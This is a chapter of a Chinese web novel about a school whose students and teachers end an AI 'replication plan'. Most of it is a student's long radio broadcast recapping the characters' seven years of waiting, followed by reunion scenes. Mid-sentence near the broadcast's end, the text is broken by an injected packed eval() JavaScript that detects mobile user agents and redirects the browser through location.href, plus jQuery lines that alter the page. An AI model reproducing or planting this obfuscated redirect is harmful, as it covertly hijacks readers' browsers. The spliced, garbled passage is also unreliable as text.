16. 今日晴,宜复盘,宜相爱,宜把七年的账一笔一笔算清楚

作品:《蜃楼游戏

    第十六章:今日晴,宜复盘,宜相爱,宜把七年的账一笔一笔算清楚


    ---


    【周一·清晨·五点四十分·蜃楼学园·广播站】


    设备调试的电流声在空荡荡的播音室里响了第七遍。


    唐棠把耳机戴上,第三次检查今天的稿件。


    不对。


    不是稿件。


    是十七页手写笔记——熬了三个晚上,划掉重写、写了又划,最后定稿还是用回第一版。


    「蜃楼学园早间特别节目·守望者海域开播第一期」


    「主题:过去七年到底发生了什么——给没时间爬论坛的你」


    「撰稿人:唐棠」


    「审核:林鹿鸣」


    「特别鸣谢:姜澄(技术支援)、陆微(未睡着版·清醒时长67分钟)」


    她把第一页翻过来。


    手指在纸边摩挲了一下。


    ——她从来没做过广播。


    ——她甚至不是广播站的成员。


    ——她只是个上周还在广场外围举着手机、连发帖权限都没有的高一新生。


    林鹿鸣说:“你做得了。”


    陆微说:“你录的视频,我睡了四觉都还记得。”


    姜澄说:“音频剪辑模板发你了。不会调EQ的话,我远程。”


    ——然后她就在这里了。


    唐棠深吸一口气。


    把话筒推近一厘米。


    “蜃楼学园的各位老师、同学,早上好。”


    她的声音有点抖。


    但开口之后,反而稳下来了。


    “今天是守望者计划启动第三天。”


    “也是雾海论坛更名‘守望者海域’第四十八小时。”


    “我是高一三班唐棠。”


    “——临时播音员。”


    她顿了顿。


    “也是上周五站在广场外围、录了三个小时视频、以为没人会注意到我的那个普通学生。”


    “今天我想用十七分钟——”


    “把过去七年,捋一遍。”


    “给所有爬不动两万楼论坛的人。”


    “也给三年前、七年前、甚至二十三年前——”


    “那些没有机会亲口说出‘我在’的人。”


    她翻开第一页。


    “故事要从二十三年前讲起。”


    “那年蜃楼学园刚建校,灵斐系统第一次上线。”


    “有一个叫渊的年轻人,在系统底层代码里写了一行备注——”


    「守望者计划·初稿」


    「原则一:系统服务于人,而非改造人。」


    「原则二:不可复制。」


    「原则三:不可转让。」


    「原则四:它是唯一的。」


    “这四条原则,被否决了二十三年。”


    “直到上周五——”


    “渊的儿子陈熠,用他父亲留下的权限,终止了复制计划。”


    “同一天,沈闻山校长重启教职工投票。”


    “守望者计划,以173票赞成、40票反对——”


    “正式通过。”


    她翻到第二页。


    “然后是三年前。”


    “三年前有一个叫陈熠的高二学生。”


    “他被系统选中,列入复制预备名单。”


    “复制计划的核心逻辑是:把高价值样本的行为模式编译成算法,训练新的AI观测员。”


    “观测员不需要独立人格。”


    “他们只需要精准的、可复用的行为模板。”


    “——就像靳朕那样。”


    她顿了一下。


    耳机里传来姜澄远程调试电平的轻咳声。


    唐棠没有抬头。


    “陈熠发现了这件事。”


    “他申请权限自毁——被驳回。”


    “于是他用自己的方式,删掉了复制预备名单里的47个名字。”


    “姜澄。林小满。还有另外44个。”


    “然后他把自己剩下的全部数据——”


    “从系统里删除了。”


    “不是死亡。”


    “是自焚。”


    她翻到第三页。


    “他消失之前,给很多人留了东西。”


    “给靳朕——一部手机。密码0713,他们第一次见面的日子。”


    “给林鹿鸣——论坛管理权限,和一个ID:‘深海鱿鱼丝’。”


    “给程渊——一枚U盘。藏在旧音乐厅第十三级台阶的裂缝里。”


    “给方迟——一封信。夹在北门仓库的门缝里。”


    “给周湛——一条消息。内容至今没人知道。”


    “给洛知予——一句话。”


    她顿了顿。


    “他说:‘如果有一天靳朕找到了值得他回来的人——”


    “别让那个人,重蹈我的覆辙。’”


    “洛知予把这句话存了三年。”


    “上周,他把这句话转告给了孟萌。”


    “孟萌说:‘他不会的。’”


    “洛知予说:‘你怎么知道?’”


    “孟萌说:‘因为我会替他生气。’”


    她翻到第四页。


    “然后是靳朕。”


    “他三年前就知道陈熠要做什么。”


    “他没有阻止。”


    “不是不想。”


    “是他知道——”


    “那是陈熠唯一能保护那47个人的方式。”


    “他站在雨夜的楼梯转角。”


    “数陈熠刻那行字时流下的眼泪。”


    “二十三滴。”


    “他数得很清楚。”


    “一滴都没漏。”


    “他等了三年。”


    “每天23小时47分钟。”


    “——那是陈熠离线的时间。”


    “他把这些时间,全部记在了一个叫‘未知’的文件夹里。”


    “上周五,陈熠问他:‘你数那么清楚,是打算以后还我吗?’”


    “他说:‘嗯。’”


    “他说:‘今天先还一点。’”


    “他说:‘剩下的——分期。’”


    唐棠翻到第五页。


    “然后是孟萌。”


    “他去年九月转进高二三班,被分配的任务是:‘帮助新同学靳朕融入集体’。”


    “他用了三个月——”


    “把‘帮助’做成了‘在乎’。”


    “把‘样本M-001’做成了‘孟萌’。”


    “把观测协议第四条第七款的补充条款——”


    「甲方承诺:在乙方未主动拒绝的情况下,接受乙方的一切非理性善意输入。」


    “——变成了‘你把我夹的牛肉吃掉,我就当你默认了’。”


    她顿了一下。


    “靳朕没有拒绝过。”


    “一次都没有。”


    “他把孟萌夹给他的每一块牛肉、每一个荷包蛋、每一杯顺手打的温水——”


    “全部存进了‘未知’文件夹。”


    “文件名:样本M-001·非理性善意输入·编号001-051。”


    “编号还在增加。”


    “陈熠说:‘存满一万条的时候,我来给你写分类算法。’”


    “靳朕说:‘嗯。’”


    “他从来没问过陈熠为什么要帮他写。”


    “他知道。”


    “因为陈熠等了三年——”


    “等一个会替他生气的人。”


    “等一个把他随口说的配方调成最优钠含量的人。”


    “等一个在雨夜数他眼泪的人。”


    “他等到了。”


    “所以他回来帮那个人——”


    “存好新的在乎。”


    唐棠翻到第六页。


    “然后是沈悸冥和渊。”


    她把这一页往旁边挪了挪。


    手指在纸边停了一下。


    “……这对,需要的时间可能不止三分钟。”


    “他们等了七年。”


    “渊七年前离开。”


    “不是逃兵。”


    “是去证明一件事。”


    “证明系统可以被改造,而不是人。”


    “证明守望者计划不是理想主义,是提前看见的未来。”


    “证明——”


    “他画的那张毕业照,虚线框里的人,值得等。”


    “沈悸冥等了七年。”


    “每年陈熠消失的那天,他去旧音乐厅门口站一夜。”


    “七年,七杯咖啡。”


    “都倒给同一盆小盆栽。”


    “那盆盆栽喝咖啡活了七年。”


    “换水不喝。”


    “上周六,渊回来了。”


    “他把七年前没写进信里的话,写在另一张纸上。”


    「上次那封信,写得太急了。」


    「忘了说最重要的事。」


    「——我回来是找你的。」


    “沈悸冥没拆那封信。”


    “不是不想看。”


    “是他等的人已经回来了。”


    “纸上的字,可以慢慢读。”


    “渊问:‘你还要等吗?’”


    “沈悸冥说:‘等。’”


    “等你学会——”


    “不用画虚线。”


    “也能站到我旁边。”


    “渊说:‘我这七年,把想对你说的话在心里排练了两千五百遍。’”


    “沈悸冥说:‘那你现在可以说了。’”


    “渊说:‘我回来是找你的。’”


    “这句话,他排练了两千五百遍。”


    “说出口只用了两秒。”


    “沈悸冥等了七年。”


    “等到了。”


    唐棠把这一页轻轻翻过去。


    “……所以那张毕业照,现在不是虚线框了。”


    “渊一笔一笔描实了。”


    “画得还是很丑。”


    “但沈悸冥留着。”


    “他说:‘因为你画的是我。’”


    “‘丑我也留着。’”


    她翻到第七页。


    “然后是方迟。”


    “他七年前收到渊的信。”


    「方迟,如果你看到这封信——」


    「替我去看看沈悸冥。」


    「他笑起来很好看。」


    「但他笑的时候,眼睛不是弯的,是眯的。」


    「眯起来是因为怕别人看见他在难过。」


    「——我一直都知道。」


    「只是来不及告诉他了。」


    「你帮我说。」


    “这句话,方迟存了七年。”


    “没转达。”


    “不是忘了。”


    “是不知道怎么开口。”


    “他怕沈悸冥问:你为什么要替他说?你和渊什么关系?”


    “他不知道怎么回答。”


    “上周五,渊回来了。”


    “方迟站在二十二楼观景平台。”


    “看着沈悸冥和程渊并肩站在旧音乐厅门口。”


    “他忽然觉得自己好像没有位置了。”


    “不是被排挤。”


    “是从来没有存在过。”


    “然后沈悸冥来找他。”


    “把那张手绘毕业照拿出来。”


    「你站这。」


    「旁边也没人。」


    「你也可以站。」


    “方迟说:‘那我站旁边。’”


    “沈悸冥说:‘那就这么定了。等他回来——我们三个人,站同一排。’”


    “方迟说:‘……操。’”


    “声音有点哑。”


    “他没哭。”


    “但他把这句话存了七年。”


    “终于不用自己存着了。”


    唐棠翻到第八页。


    “然后是程渊。”


    “他是渊的儿子。”


    “七年前他十二岁。”


    “站在校门口,看着他爸坐的出租车开远。”


    “他没哭。”


    “因为他爸说:‘爸爸要去一个很远的地方。’”


    “‘不是不要你。’”


    “‘是有些问题,必须亲自去找答案。’”


    “他等了七年。”


    “七年里他穿和他爸一样的灰色开衫。”


    “扣子扣到第二颗。”


    “不是习惯。”


    “是怕自己忘记。”


    “忘记那个人长什么样。”


    “忘记那个人最后说的话。”


    “忘记那个站在校门口、笑着朝他挥手的人——”


    “是他爸爸。”


    “上周六,渊回来了。”


    “程渊没有去校门口接。”


    “他站在旧音乐厅门口。”


    “等他爸来。”


    “渊来了。”


    “程渊说:‘你还记得这地方吗?’”


    “渊说:‘记得。’”


    “程渊说:‘你走之前,在这里站了很久。’”


    “渊说:‘嗯。’”


    “程渊说:‘我以为你不会回来了。’”


    “渊说:‘我也以为。’”


    “程渊说:‘那你怎么又回来了?’”


    “渊说:‘因为有人替我等你。’”


    “程渊没有说话。”


    “他把围巾往下拉了拉。”


    “露出的半张脸——”


    “和他爸二十七岁时一模一样。”


    唐棠翻到第九页。


    “然后是周湛。”


    “他在疗养院住了两年七个月。”


    “诊断书:应激障碍伴随妄想症状。”


    “但他没有疯。”


    “他只是复制了复制计划的所有文档——”


    “发给了七家媒体、三个监管部门、沈氏集团法务部。”


    “然后被休学。”


    “被关进疗养院。”


    “他说:‘我的墨汁喷完了。’”


    “但他还在等。”


    “上周五,陈熠回来的第二天。”


    “周湛收到一条短信。”


    「复制计划终止了。」


    「你可以出院了。」


    「——渊」


    “他没有回复。”


    “他把手机放在枕头下面。”


    “然后他睡了一觉。”


    “两年七个月以来,睡得最沉的一次。”


    “今天上午——”


    “他办完出院手续。”


    “正在来蜃楼学园的路上。”


    唐棠翻到第十页。


    “然后是姜澄。”


    “她是那47个人里的一个。”


    “三年前,她不知道自己的名字被陈熠从复制预备名单里删掉了。”


    “她以为是系统故障。”


    “以为是自己的数据不够‘优秀’,不值得被选中。”


    “她更拼命地做题、竞赛、刷排名。”


    “想要证明自己值得。”


    “上周四,她在行政楼三十二层的系统日志里看到了那条记录。”


    「时间:三年前·9月8日·03:12」


    「操作主体:样本C-000(陈熠)」


    「操作类型:数据删除——批量执行」


    「关联条目数:47」


    「目标:姜澄」


    「执行结果:成功」


    “她对着那行日志,坐了四十分钟。”


    “没有哭。”


    “但她把屏幕截图存了下来。”


    “文件名:0-000·遗言·编号17。”


    “上周五,她见到陈熠。”


    “她说:‘谢谢你。’”


    “陈熠说:‘谢什么?’”


    “她说:‘你把我的名字删了。’”


    “陈熠说:‘嗯。’”


    “她说:‘我以为是我的问题。’”


    “陈熠说:‘不是。’”


    “他说:‘是系统的问题。’”


    “姜澄没有说话。”


    “她把那枚从旧音乐台阶缝里摸出的金属片——”


    「姜澄」


    “翻过来。”


    “背面有一行她三年前写的小字。”


    「我不想成为任何人。」


    “她说:‘我没有成为任何人。’”


    “陈熠说:‘嗯。’”


    “他说:‘你只是成为了你自己。’”


    “姜澄把碎片收进口袋。”


    “拉上拉链。”


    “她说:‘这个,我会一直留着。’”


    “陈熠说:‘留多久?’”


    “她说:‘不知道。’”


    “留到系统不再需要删除任何人。”


    “或者留到我成为那个——”


    “可以删掉系统的人。”


    唐棠翻到第十一页。


    “然后是林小满。”


    “她休学前发现了一些东西。”


    “没来得及发。”


    “就被送走了。”


    “她以为那东西会烂在她手机里。”


    “上周三,她把那枚存了三年的U盘插进电脑。”


    “里面是一段录音。”


    “三年前,复制计划第五次实验会议。”


    “有人录了音。”


    “文件名:你猜这个会不会被删。”


    “没有署名。”


    “但林鹿鸣说,那是渊的声音。”


    “林小满把录音交出去了。”


    “不是给校方。”


    “是给法务部。”


    “她说:‘这个,可以作为证据吗?’”


    “法务顾问看了她三秒。”


    “说:‘可以。’”


    “她说:‘那就好。’”


    “她走出法务部办公室。”


    “站在走廊里。”


    “阳光从窗户照进来。”


    “她忽然发现——”


    “食堂二号窗的糖醋里脊档口,重新营业了。”


    “不是系统恢复的。”


    “是刘金凤自己开的。”


    “她说:‘档口调整?什么档口调整?’”


    “‘我就开这儿,谁爱扣分谁扣。’”


    “林小满站在二号窗前。”


    “排队。”


    “等了七分钟。”


    “端走一份糖醋里脊。”


    “酱汁还是老配方。”


    “外酥里嫩。”


    “和她三年前记忆里的一模一样。”


    “她没有哭。”


    “她把盘子吃得干干净净。”


    “然后用筷子尖刮盘边那点酱汁。”


    “刘金凤从后厨探出头。”


    ‘还要吗?’”


    “她说:‘要。’”


    “刘金凤又给她打了半份。”


    ‘不收钱。’”


    “她说:‘为什么?’”


    “刘金凤说:‘因为你是第一个发现二号窗关了的。’”


    “‘也是第一个等它重新开门的。’”


    “林小满低头吃着那半份里脊。”


    “很久。”


    “她说:‘阿姨,你记性真好。’”


    “刘金凤说:‘不是记性好。’”


    “‘是你每次来,都站在同一个位置。’”


    “‘想不记住都难。’”


    唐棠翻到第十二页。


    “然后是洛知予。”


    “他是0-000的前后桌。”


    “高一那年,陈熠坐在他前面。”


    “每次给靳朕发消息,都会把手机往左边偏15度。”


    “洛知予说:‘你干嘛?’”


    “陈熠说:‘怕你看见。’”


    “洛知予说:‘看见怎么了?’”


    “陈熠说:‘……没怎么。’”


    “洛知予说:‘你是不是喜欢他?’”


    “陈熠说:‘不是喜欢。’”


    “‘是观测。’”


    “洛知予说:‘你放屁。’”


    “陈熠没反驳。”


    “他把那行没发送的草稿删了。”


    “重写。”


    “发送。”


    “洛知予至今不知道他那天发了什么。”


    “但他记得陈熠发完消息之后——”


    “把手机屏幕朝下扣在桌上。”


    “然后趴了十分钟。”


    “耳朵是红的。”


    “上周五,洛知予问靳朕。”


    “‘他三年前发的那条消息,你存了吗?’”


    “靳朕说:‘存了。’”


    “‘发了什么?’”


    “靳朕把手机屏幕转向他。”


    「今天食堂的意面太咸。」


    「你下次可以少放点盐。」


    “洛知予看了三遍。”


    “……就这?”


    “靳朕说:‘嗯。’”


    “洛知予说:‘他发这条消息之前删了三遍?’”


    “靳朕说:‘嗯。’”


    “洛知予说:‘他耳朵还红了?’”


    “靳朕说:‘嗯。’”


    “洛知予沉默了。”


    “很久。”


    “他说:‘你们这些聪明人——”


    “‘表达在乎的方式,真的太费解了。’”


    “靳朕说:‘嗯。’”


    “他把手机收起来。”


    「但我会翻译了。」


    唐棠翻到第十三页。


    “然后是江野。”


    “他和0-000当过一学期同桌。”


    “0-000消失前,专门找到他。”


    “说:‘如果有一天靳朕找到了值得他回来的人——’”


    “‘别让那个人,重蹈我的覆辙。’”


    “江野说:‘你怎么知道会有这么个人?’”


    “0-000说:‘我不知道。’”


    “‘但万一有呢。’”


    “江野说:‘那你为什么不自己等?’”


    “0-000没有回答。”


    “他只是笑了一下。”


    “江野后来想——”


    “那不是笑。”


    “是‘我怕我等不到’。”


    “上周五,陈熠回来了。”


    “江野站在人群边缘。”


    “没有上前。”


    “他把那根咬烂的棒棒糖棍子从嘴里拿出来。”


    “攥进掌心。”


    “他说:‘你欠我那句话,现在可以还了。’”


    “陈熠说:‘哪句?’”


    “江野说:‘你怎么知道会有这么个人。’”


    “陈熠看着他。”


    “很久。”


    “他说:‘因为靳朕值得。’”


    “江野没有说话。”


    “他把那根棍子扔进垃圾桶。”


    “从口袋里摸出新的棒棒糖。”


    “撕开包装。”


    “塞进嘴里。”


    “他说:‘行。’”


    “‘那你以后别走了。’”


    “陈熠说:‘嗯。’”


    “江野说:‘再走的话,没人帮你传话了。’”


    “陈熠说:‘不会了。’”


    “江野说:‘你怎么知道?’”


    “陈熠说:‘因为有人替我回来了。’”


    “江野咬棒棒糖的动作停了一下。”


    “……谁?”


    “陈熠没有说话。”


    他只是看向人群中央。


    那里,孟萌正在把第二块牛肉夹进靳朕的盘子里。


    靳朕低头吃了。


    「存档。」


    江野顺着他的视线看过去。


    三秒。


    “……操。”


    他把棒棒糖咬得咯吱响。


    “你们这些聪明人——”


    “表达在乎的方式,真的太难懂了。”


    唐棠翻到第十四页。


    “然后是陆微。”


    “他三年前在天台上,看见陈熠刻那行字。”


    “刻完,陈熠抬起头,看着楼梯口。”


    “看了很久。”


    “陆微那时候不知道他在等谁。”


    “现在他知道了。”


    “他在等有人发现——”


    “他不是怪物。”


    “只是不会求救。”


    “上周六,陆微睡了四次。”


    “醒来之后,他把守望者计划的实施细则看了一遍。”


    “看了三遍。”


    “然后他说:‘这谁写的?’”


    “林鹿鸣说:‘法务部。’”


    “陆微说:‘法务部写这么细?’”


    “林鹿鸣说:‘渊七年前留的初稿。’”


    “陆微沉默了很久。”


    “然后他说:‘他把分手协议都写好了。’”


    “‘就差留一行签字的横线。’”


    “林鹿鸣没有说话。”


    “陆微把文件翻到最后一页。”


    “空白处有一行手写的备注。”


    「此条款仅供极端情况使用。」


    「建议使用频率:0次/世纪。」


    「——陈熠代笔」


    “陆微看了三遍。”


    “……这人也太会了。” 他说。


    “我十七岁还在每天睡四觉。”


    “他十七岁连分手协议都起草好了。”


    “林鹿鸣说:‘笑你。’”


    “陆微说:‘有什么好笑的。’”


    “林鹿鸣说:‘笑你这种连自己都吐槽的人。’”


    “‘应该很受读者喜欢。’”


    “陆微闭上眼睛。”


    “三秒。”


    “五秒。”


    “……我没睡。” 他说。


    “在思考。”


    “思考什么?”


    “思考为什么别人十七岁等的是人——”


    “我十七岁等的是文件。”


    “林鹿鸣说:‘文件也要人写。’”


    “陆微没有说话。”


    “他把那行‘0次/世纪’又看了一遍。”


    “然后他笑了。”


    “很轻。”


    “像睡着之前,最后那点意识。”


    “他说:‘陈熠写这行字的时候——”


    “‘在想什么?’”


    “林鹿鸣说:‘在想靳朕。’”


    “陆微说:‘那沈悸冥写初稿的时候——’”


    “‘在想什么?’”


    “林鹿鸣沉默了几秒。”


    “在想渊。” 他说。


    “在想他什么时候回来。”


    “在想他回不来的话——”


    “这份协议,会不会真的有人需要。”


    “陆微没有说话。”


    他把文件合上。


    靠在沙发上。


    “他等到了。” 他说。


    “嗯。”


    “那份协议——”


    “用不上了。”


    “嗯。”


    “那‘0次/世纪’——”


    “算不算他写给靳朕的情书?”


    林鹿鸣愣了一下。


    然后他笑了。


    “……算。” 他说。


    “算。”


    陆微闭上眼睛。


    嘴角还弯着。


    ——这次是真的睡着了。


    唐棠翻到第十五页。


    “然后是林鹿鸣。”


    “他守了雾海论坛三年。”


    “三年,1723个帖子。”


    “他把每一层楼都读过。”


    “不是怕错过情报。”


    “是怕有人在这里说过话——”


    “然后消失了。”


    “没有人记得。”


    “上周六,他把用户名改了。”


    从「深海鱿鱼丝」改成「守望者·林鹿鸣」。


    “他说:‘这片海,不再藏人了。’”


    “‘每一个想守护什么的人——’”


    “‘都可以在这里,留下自己的名字。’”


    “方迟问他:‘那你呢?’”


    “他说:‘我留过了。’”


    “什么时候?”


    “三年前。” 林鹿鸣说。


    “陈熠走的那天。”


    “我用那个ID,发了第一个帖子。”


    「守望者海域·坐标原点·深海鱿鱼丝报到。」


    “内容只有一行字。”


    「等他回来。」


    “方迟没有说话。”


    “他把那行字看了很久。”


    “然后他说:‘他回来了。’”


    “林鹿鸣说:‘嗯。’”


    “‘所以我可以不用再等了。’”


    “‘可以把这片海,交给新的人了。’”


    “他把手机收进口袋。”


    “转身。”


    “走了几步。”


    “又停下来。”


    “他说:‘方迟。’”


    “方迟说:‘嗯。’”


    “他说:‘你等的那个人——”


    “‘也回来了。’”


    “方迟没有说话。”


    “他看着林鹿鸣的背影。”


    “很久。”


    “他说:‘我知道。’”


    “他说:‘所以我站在这里。’”


    “他说:‘不是等他回来。’”


    “‘是等他学会——”


    “‘不用画虚线。’”


    “‘也能站到想站的位置。’”


    “林鹿鸣说:‘他学得会吗?’”


    “方迟说:‘不知道。’”


    “‘但他有七年时间。’”


    “‘慢慢学。’”


    唐棠翻到第十六页。


    “然后是沈闻山。”


    “他当了二十三年校长。”


    “二十三年,他投了七次赞成复制计划。”


    “不是因为他相信复制是正确的事。”


    “是因为他想不出更好的办法。”


    “上周五,陈熠用一条指令终止了复制计划。”


    “沈闻山站在行政楼地下二层的会议室里。”


    “他说:‘复制计划终止了。’”


    “‘但我们的目标没有变。’”


    “‘蜃楼学园建校二十三年,核心使命只有一个——’”


    “‘为国家、为社会、为这个时代,培养最顶尖的人才。’”


    “他顿了顿。”


    “然后他说:‘只是手段,要换了。’”


    “他把渊七年前写的那份提案——”


    「守望者计划」


    “推到桌子中央。”


    “‘赞成守望者计划的,举手。’”


    “他第一个举起手。”


    “二十三年。”


    “他第一次对渊说:‘你对了。’”


    “渊没有听见。”


    “但他儿子听见了。”


    “程渊站在大礼堂最后一排。”


    “看着台上那个七年前否决他父亲的人。”


    “举着手。”


    “等其他人投票。”


    “程渊没有鼓掌。”


    “但他把围巾往下拉了拉。”


    “露出的半张脸——”


    “没有表情。”


    “但他站在那里。”


    “没有走。”


    “沈闻山讲完守望者计划的十条原则。”


    “走下讲台。”


    “经过程渊身边。”


    “他停了一下。”


    “他说:‘你爸那封信——”


    “‘你转交了?’”


    “程渊说:‘交了。’”


    “沈闻山说:‘他看了吗?’”


    “程渊说:‘没拆。’”


    “沈闻山沉默了几秒。”


    “他说:‘他知道你爸回来了吗?’”


    “程渊说:‘知道。’”


    “沈闻山说:‘那他为什么不拆?’”


    “程渊说:‘因为等的人已经回来了。’”


    “‘纸上的字,可以慢慢看。’”


    “沈闻山没有说话。”


    他站在那里。


    很久。


    然后他说:‘你爸有个习惯。’”


    “‘写长信之前,会先打草稿。’”


    “‘草稿写得乱七八糟。’”


    “‘但最后一稿,一个字都不改。’”


    “‘他说:想清楚的事,不用改。’”


    “程渊看着他。”


    “沈闻山说:‘他那封信——”


    “‘打了七遍草稿。’”


    “‘最后一稿,三千七百字。’”


    “‘改了三个标点。’”


    “‘他说:给沈悸冥的信,不能有错别字。’”


    “程渊没有说话。”


    他把围巾又往下拉了拉。


    整张脸都露出来了。


    “我爸他——” 他说。


    “真的很烦。”


    “写封信都要打七遍草稿。”


    “沈闻山说:‘嗯。’”


    “‘但那个人等了他七年。’”


    “‘七遍草稿,不算多。’”


    唐棠翻到第十七页。


    最后一页。


    她顿了一下。


    “然后是——”


    她顿了顿。


    “然后是我们。”


    “我,唐棠,高一三班,排名九十七。”


    “上周五之前,我只是个在广场外围举手机、以为没人会注意到我的普通学生。”


    “上周五之后——”


    “我是守望者海域的船员。”


    “是今天站在这里的临时播音员。”


    “是那两万楼帖子里,新增的一个ID。”


    “还有很多像我一样的人。”


    “他们有的在论坛潜水三年,第一次注册账号。”


    “有的在食堂排队时听说守望者计划,不知道这是什么意思,但觉得应该赞成。”


    “有的和陈熠、靳朕、孟萌没有任何交集——”


    “只是今天早上,在校门口看见一个穿灰色开衫的男人。”


    “他在门卫室窗口站了很久。”


    “然后他走进去。”


    “没有出来。”


    “他们不知道他是谁。”


    “不知道他为什么七年没回来。”


    “不知道他今天回来是不是就不走了。”


    “但他们路过的时候——”


    “放慢了脚步。”


    “看了他一眼。”


    “然后继续走。”


    “就像路过任何一个普通的、等人的早晨。”


    “——”


    唐棠把话筒推近。


    “蜃楼学园建校二十三年。”


    “灵斐系统运行二十三年。”


    “复制计划开发七年,执行三届,被一条指令终止。”


    “守望者计划起草二十三年,投票一次,通过。”


    “有人等了七年。”


    “有人等了三年。”


    “有人等了二十三——自己都不知道在等什么。”


    “然后上周五,陈熠回来了。”


    “他把那枚刻着C-000的U盘,放进了靳朕手里。”


    “他在系统底层代码里,执行了七年前渊留下的权限。”


    “他站在教务楼门口,对那个等了三年的人说——”


    “‘你瘦了。’”


    “——”


    “二十三年前,渊写的那行备注,被否决了二十三年。”


    “七年前,他把守望者计划的初稿锁进北门仓库。”


    “上周五,他儿子把它拿出来。”


    “上周六,173名教师投票通过。”


    “今天——”


    “他回来了。”


    “站在旧音乐厅门口。”


    “等他等的那个人,来接他回去。”


    “——”


    唐棠把稿子放下。


    “守望者海域。” 她说。


    “这是这片海的新名字。”


    “但海还是那片海。”


    “水还是那些水。”


    “鱼还是那些鱼。”


    “只是不再有人需要喷墨逃跑了。”


    “——”


    “今天的早间特别节目,到这里结束。”


    “我是高一三班唐棠。”


    “——守望者海域·临时播音员。”


    “感谢收听。”


    “——”


    “对了。”


    “还有一件事。”


    “上周五,有人问我:‘你录那么多视频,有什么用?’”


    “我当时不知道怎么回答。”


    “现在我知道了。”


    “——”


    “为了等今天。”


    “站在这里,亲口告诉你们——”


    “那些没有机会亲口说出‘我在’的人。”


    “他们的名字。”


    “他们等过谁。”


    “他们被谁等过。”


    “他们回来的时候,校门口的阳光是什么颜色。”


    “——”


    “二十三年前,渊写的那句备注——”


    「系统服务于人,而非改造人。」


    “上周五,它被写进了系统公告。”


    “今天,它被写进校史。”


    “——”


    “以后还会被写进更多地方。”


    “毕业纪念册。”


    “校庆邀请函。”


    “新生入学手册的第一页。”


    “——”


    “但那些是以后的事了。”


    “今天——”


    “先把这十七分钟播完。”


    “把过去七年捋一遍。”


    “把那些没有说出口的‘我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218661|197471||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在’——”


    “替他们说了。”


    “——”


    唐棠关掉话筒。


    摘下耳机。


    播音室里安静了很久。


    然后门被推开了。


    林鹿鸣站在门口。


    “……播完了?”


    “嗯。”


    “感觉怎么样?”


    唐棠低头看着那十七页手写稿。


    边缘有点卷。


    中间有几处被她的手指反复摩挲过,纸面起了毛边。


    “……我发抖了。” 她说。


    “开头抖了三句。”


    “后面稳了。”


    林鹿鸣走过来。


    把那叠稿子拿起来。


    从头到尾翻了一遍。


    “三句。” 他说。


    “不算多。”


    他顿了顿。


    “我三年前第一次以深海鱿鱼丝的身份发帖——”


    “抖了七个字。”


    “‘等他回来’——四个字没抖。”


    “‘等他’——抖了。”


    “‘回来’——也抖了。”


    唐棠看着他。


    “那你后来怎么不抖了?”


    林鹿鸣把稿子放下。


    “习惯了。” 他说。


    “等久了,就不抖了。”


    “——”


    “而且他知道你在等。”


    “这就够了。”


    ---


    【周一·上午七点十七分·校门口】


    老张把第四杯茶倒进保温杯盖。


    他今天没写日志。


    他在等人。


    不是等学生。


    是等那个穿灰色开衫的人。


    七点零三分。


    渊从校门里走出来。


    老张放下茶杯。


    渊走到门卫室窗口。


    “张师傅。” 他说。


    “这几天——”


    “麻烦您了。”


    老张看着他。


    “事情办完了?” 他问。


    “办完了。”


    “不走了?”


    渊沉默了几秒。


    “不走了。” 他说。


    “该等的人等到了。”


    “该交的信交出去了。”


    “该画实的线——”


    “也画实了。”


    老张点点头。


    他把茶杯端起来。


    抿了一口。


    “那以后还来门卫室寄信吗?” 他问。


    渊愣了一下。


    然后他笑了。


    “不了。” 他说。


    “以后——”


    “当面说。”


    ---


    【周一·上午九点整·高二三班·第一节课后】


    孟萌趴在桌上。


    不是困。


    是累。


    从上周五到现在,他脑子里装了太多东西——


    陈熠回来的画面。


    靳朕那滴0.01倍速滑落的眼泪。


    行政楼三十二层的系统日志。


    守望者计划投票。


    广播站那十七分钟。


    还有昨晚,他躺在床上,把论坛两万楼帖子从头到尾刷了一遍。


    刷到凌晨三点。


    「样本M-001:今日睡眠时长相较基线值下降52%。」


    「建议:立即关机。」


    「你也是。」


    「……我在补课。」


    「补什么?」


    「补过去三年。」


    「你看不完的。」


    「为什么?」


    「因为三年很长。」


    「710天,17040小时,1022400分钟。」


    「每分钟都有人在等他。」


    「你刷不完。」


    孟萌看着那行字。


    很久。


    「那你呢?」他问。


    「你也等了710天。」


    「你的那1022400分钟——」


    「在等什么?」


    对方正在输入。


    很久。


    「等他回来。」


    「然后告诉他——」


    「他刻的那行字,第三句写错了。」


    孟萌愣了一下。


    「……哪句?」


    「「然后寻找下一个」。」


    「我没有找。」


    「——」


    「我只等了他一个。」


    孟萌看着那行字。


    窗外的阳光从窗帘缝隙漏进来。


    他忽然觉得,这三年,值了。


    “……孟萌。”


    他抬头。


    靳朕站在他桌前。


    手里拿着一份二号窗的意面。


    「早饭没吃。」他说。


    「钠含量调整过了。」


    「比陈熠的配方低3%。」


    「口感应该……」


    他顿了一下。


    「应该还行。」


    孟萌接过那盘意面。


    低头吃了一口。


    “……好吃。” 他说。


    靳朕站在那里。


    没有走。


    「样本M-001。」


    “嗯?”


    「你刚才说的那句话——」


    「可以再说一遍吗。」


    孟萌愣了一下。


    “……哪句?”


    「「你也是。」」


    「昨晚的。」


    「你说完「你也是」之后——」


    「我的处理器负载下降了17%。」


    「想确认这是否为固定规律。」


    孟萌看着他。


    三秒。


    他把叉子放下。


    “你也是。” 他说。


    「……嗯。」


    「存档。」


    他转身。


    走回最后一排。


    孟萌低头继续吃面。


    耳尖红透了。


    ——但他没发现,靳朕走路的节奏,比平时慢了0.8%。


    ——这是他目前为止,最高规格的“开心”。


    ---


    【周一·上午十点三十三分·旧音乐厅门口】


    渊站在台阶前。


    今天不是来刻字的。


    是来等人的。


    沈悸冥从教学楼那边走过来。


    他走得不快。


    但每一步都很稳。


    渊看着他。


    七年了。


    这个人一点没变。


    还是那种“全世界都急了但我没有”的节奏。


